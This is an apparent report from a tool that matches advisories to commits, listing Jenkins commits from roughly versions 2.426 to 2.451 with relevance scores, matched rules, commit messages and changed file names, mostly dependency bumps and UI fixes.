    - Use symbols for build status (#8705) * Init * Rename ID * Fix icon... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.434 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 1f95b095187b80145a7972ceb5ae981ae767e33d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: disable
      -
    • - -
    • -
      The commit message references some github issue: 8705
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Use symbols for build status (#8705) * Init * Rename ID * Fix icon position * Fix app bar build status icon being incorrect * Address missed icons --------- Co-authored-by: Alexander Brandes <mc.cache@web.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .editorconfig - - core/src/main/resources/hudson/model/AbstractBuild/index.jelly - - core/src/main/resources/hudson/model/Job/buildTimeTrend.jelly - - core/src/main/resources/hudson/model/Job/buildTimeTrend_resources.js - - core/src/main/resources/hudson/model/Job/index.jelly - - core/src/main/resources/hudson/model/Run/statusIcon.jelly - - core/src/main/resources/hudson/views/StatusColumn/column.jelly - - core/src/main/resources/hudson/widgets/HistoryWidget/entry.jelly - - core/src/main/resources/jenkins/model/Jenkins/_legend.jelly - - core/src/main/resources/lib/hudson/buildCaption.jelly - - core/src/main/resources/lib/hudson/buildLink.jelly - - core/src/main/resources/lib/hudson/buildListTable.jelly - - core/src/main/resources/lib/hudson/jobLink.jelly - - core/src/main/resources/lib/hudson/projectView.jelly - - war/src/main/resources/images/symbols/status-aborted-anime.svg - - war/src/main/resources/images/symbols/status-aborted.svg - - war/src/main/resources/images/symbols/status-blue-anime.svg - - war/src/main/resources/images/symbols/status-blue.svg - - war/src/main/resources/images/symbols/status-disabled-anime.svg - - war/src/main/resources/images/symbols/status-disabled.svg - - war/src/main/resources/images/symbols/status-nobuilt-anime.svg - - war/src/main/resources/images/symbols/status-nobuilt.svg - - war/src/main/resources/images/symbols/status-red-anime.svg - - war/src/main/resources/images/symbols/status-red.svg - - war/src/main/resources/images/symbols/status-yellow-anime.svg - - war/src/main/resources/images/symbols/status-yellow.svg - - war/src/main/scss/base/_style.scss - - war/src/main/scss/components/_app-bar.scss - - war/src/main/scss/components/_side-panel-widgets.scss - - war/src/main/scss/pages/_dashboard.scss - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci:jenkins from 1.111 to 1.112 (#9058) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.451 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6fa01b735446f5c9778c936f4bd5ad1973c59205 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 9058
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci:jenkins from 1.111 to 1.112 (#9058)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency postcss-preset-env to v9.5.2 (#9054)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.451 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d5ae4b0d7cc775b49d99d903a12a7e1d191ee7b1 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 9054
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency postcss-preset-env to v9.5.2 (#9054) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.main:jenkins-test-harness from... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.451 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 00fce5a1d27e3bf6e9fd85bf65958685387cd61d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 9049
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.main:jenkins-test-harness from 2171.v048c97409d12 to 2174.v111a_b_471784f (#9049) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.springframework.security:spring-security-bom from 5.8.10 to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4666cae77ead4d111898348124fd5cf480bf4376 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 9047
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.springframework.security:spring-security-bom from 5.8.10 to 5.8.11 (#9047) Bump org.springframework.security:spring-security-bom Bumps [org.springframework.security:spring-security-bom](https://github.com/spring-projects/spring-security) from 5.8.10 to 5.8.11. - [Release notes](https://github.com/spring-projects/spring-security/releases) - [Changelog](https://github.com/spring-projects/spring-security/blob/main/RELEASE.adoc) - [Commits](https://github.com/spring-projects/spring-security/compare/5.8.10...5.8.11) --- updated-dependencies: - dependency-name: org.springframework.security:spring-security-bom dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.springframework:spring-framework-bom from 5.3.32 to 5.3.33... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e9923d3d7a67f03b15f460ee34e5e83a073484bb -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 9042
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.springframework:spring-framework-bom from 5.3.32 to 5.3.33 (#9042) Bumps [org.springframework:spring-framework-bom](https://github.com/spring-projects/spring-framework) from 5.3.32 to 5.3.33. - [Release notes](https://github.com/spring-projects/spring-framework/releases) - [Commits](https://github.com/spring-projects/spring-framework/compare/v5.3.32...v5.3.33) --- updated-dependencies: - dependency-name: org.springframework:spring-framework-bom dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Upgrade to Winstone 6.18 which include Jetty 10.0.20 upgrade (#8923)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.440.2 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 57ab5503a255aba01f40fc76c8526db3b7b23955 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8923
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Upgrade to Winstone 6.18 which include Jetty 10.0.20 upgrade (#8923) (cherry picked from commit 9c6ace3e032c843f86c66ec3422e77db0de644ad)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - - war/pom.xml - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72711] Restore progress animation in build history and... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.440.2 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 72cea0e1703a1caf317bd18585fc14189544c089 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8966
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72711] Restore progress animation in build history and buildtime trend views (#8966) [JENKINS-72711] Restore progress animation in build history and build time trend views Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com> (cherry picked from commit f91d1ecc64ee384168e6f85b369148ec294c582d)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/model/Job/buildTimeTrend.jelly - - core/src/main/resources/hudson/model/Job/buildTimeTrend_resources.js - - core/src/main/resources/lib/hudson/buildListTable.jelly - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-71148] avoid empty tooltips (#8975) * [JENKINS71148] avoid... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.440.2 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f8e366455091a38ac25d297f70c112f0bdc602a4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8975
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-71148] avoid empty tooltips (#8975) * [JENKINS71148] avoid empty tooltips when the tooltip or html tooltip is empty or whitespace only it is avoided that the tippy is invoked at all which would otherwise just display a small but empty element. * better null checks (cherry picked from commit 0675943cd256d383aa8a482371762f243d35d1a5)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/src/main/js/components/tooltips/index.js - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins:cloudbees-folder from... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 0f1390b9ab9c418d0f6b5d30f6bc50dd0b6bd7dd -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8995
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins:cloudbees-folder from 6.921.vfb_b_224371fb_4 to 6.928.v7c780211d66e (#8995) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency mini-css-extract-plugin to v2.8.1 (#9008)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - dd8f9030878554370ece32b0c18ac79088678aaa -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 9008
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency mini-css-extract-plugin to v2.8.1 (#9008) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump io.jenkins.plugins:font-awesome-api from 6.5.1-2 to 6.5.1-3... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.447 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4d0a4eb8269f47561ac3781ab4b4e2d55957ab01 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8987
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump io.jenkins.plugins:font-awesome-api from 6.5.1-2 to 6.5.1-3 (#8987) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins:script-security from... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.446 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2bd2ce2e2dce12ac7af9f1e58ec44adab772431a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8961
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins:script-security from 1321.va_73c0795b_923 to 1326.vdb_c154de8669 (#8961) Bump org.jenkins-ci.plugins:script-security Bumps [org.jenkins-ci.plugins:script-security](https://github.com/jenkinsci/script-security-plugin) from 1321.va_73c0795b_923 to 1326.vdb_c154de8669. - [Release notes](https://github.com/jenkinsci/script-security-plugin/releases) - [Commits](https://github.com/jenkinsci/script-security-plugin/commits) --- updated-dependencies: - dependency-name: org.jenkins-ci.plugins:script-security dependency-type: direct:production ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72679] avoid admin monitor popup makes buttons unusable... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.440.1 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6bc8a8ac74f94b8c68eed497ad9411445bc5dd61 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8941
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72679] avoid admin monitor popup makes buttons unusable (#8941) avoid admin monitor makes buttons unusable The div of the admin monitor pop-up is set to opacity 0 but keeps z-index 1000 when closed. This makes the buttons, that are behind the popup when shown unusable. This change uses an animation that ensures the z-index is 0 after hiding the popup and buttons are still usable (cherry picked from commit a6423541f07292f8e5b74a9ce0e9a4d711eda0d9)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72505] f:validateButton finds selected radio button (#8832)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.440.1 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2f1190055950598828b5336d4d17b05de38f164c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8832
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72505] f:validateButton finds selected radio button (#8832) JENKINS-72505 f:validateButton finds selected radio button Co-authored-by: Mark Waite <mark.earl.waite@gmail.com> Co-authored-by: Alexander Brandes <mc.cache@web.de> (cherry picked from commit d2a9fd2b1fc60381d18c79c66850cd89bd20814f)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/src/main/webapp/scripts/hudson-behavior.js - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72407] missing folder icon (#8872) when a folder icon is... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.440.1 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 0905a4fc1bed7fee4f19eae5c3b949f306dc055a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8872
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72407] missing folder icon (#8872) when a folder icon is provided and relies on the getImageOf method this leads to a missing icon, e.g. gitlab branch source or when using a custom folder icon So fall back to the ballColorTd when we have no iconname which handles all cases properly. (cherry picked from commit 70f2237147f238adb54b21edf3e354fc672aeae3)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/views/StatusColumn/column.jelly - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72603] Update bundled Matrix Project Plugin to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.440.1 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d084664bb03973310f738aec6d578cd3b71bbc3e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8891
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72603] Update bundled Matrix Project Plugin to 822.824.v14451b_c0fd42 (#8891) (cherry picked from commit 34a6d0e466cd2347a3a05b29c912bdab24a36a52)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - - war/pom.xml - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins.workflow:workflow-api from... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 213bdecefc9fef76139488a722e3dbc6ea73583c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8914
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins.workflow:workflow-api from 1289.va_cf779f32df0 to 1291.v51fd2a_625da_7 (#8914) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci:jenkins from 1.109 to 1.110 (#8867) Bumps... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.441 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6644f566f1cd1834251aa9fa9ff20750ddcf20fe -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8867
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci:jenkins from 1.109 to 1.110 (#8867) Bumps [org.jenkins-ci:jenkins](https://github.com/jenkinsci/pom) from 1.109 to 1.110. - [Release notes](https://github.com/jenkinsci/pom/releases) - [Changelog](https://github.com/jenkinsci/pom/blob/master/CHANGELOG-old.md) - [Commits](https://github.com/jenkinsci/pom/compare/jenkins-1.109...jenkins-1.110) --- updated-dependencies: - dependency-name: org.jenkins-ci:jenkins dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-71737] fix redirect when submitting cloud changes (#8505)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: jenkins-2.426.3 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8908239882c07aeb206c7f51aa3e45152ca98e7f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8505
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-71737] fix redirect when submitting cloud changes (#8505) Co-authored-by: Alexander Brandes <mc.cache@web.de> (cherry picked from commit ec27a074c9bc3a7b72e2c6c373d7c5a1ec85ff11)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/slaves/Cloud.java - - core/src/main/java/jenkins/agents/CloudSet.java - - core/src/main/resources/hudson/slaves/Cloud/configure.jelly - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Translate description of "Plain text" markup formatter to Turkish (#9062) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.451 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e24627af9a44a203ce0820a9da0150acd6d7475a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9062
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Translate description of "Plain text" markup formatter to Turkish (#9062)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/markup/EscapedMarkupFormatter/config_tr.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency postcss to v8.4.37 (#9057) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.451 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 67a379e16a05bf87bfcf5d0a22a28d5677b35895 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9057
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency postcss to v8.4.37 (#9057) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update babel monorepo to v7.24.1 (#9061) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.451 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 706eda4c88fa06ddf40e5ab54ae90e8819fe672b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9061
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update babel monorepo to v7.24.1 (#9061) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency postcss to v8.4.36 (#9055) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.451 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e0d94d9339401734f2472465a62355e7290444b8 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9055
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency postcss to v8.4.36 (#9055) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Remove duplicated words in Javadoc comments (#9056) chore: remove... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.451 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 50269cabe440acf27804bc52b0820dbdcc1957d9 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9056
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Remove duplicated words in Javadoc comments (#9056) chore: remove repetitive words Signed-off-by: veryyet <zhengxingru@outlook.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/jenkins/slaves/RemotingWorkDirSettings.java - - war/src/main/webapp/scripts/yui/dragdrop/dragdrop-debug.js - - war/src/main/webapp/scripts/yui/editor/editor-debug.js - - war/src/main/webapp/scripts/yui/editor/simpleeditor-debug.js - - war/src/main/webapp/scripts/yui/menu/menu-debug.js - - war/src/main/webapp/scripts/yui/yahoo/yahoo-debug.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [maven-release-plugin] prepare for next development iteration - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440.3 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - -
    -
    -
    -
    - - - - -
    -
    -
    - 713e4761d9ef99d1aa19981bb72ad2691e9f90a1 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [maven-release-plugin] prepare for next development iteration
      -
    • -
    - -
    Changed files in commit
    - -
      -
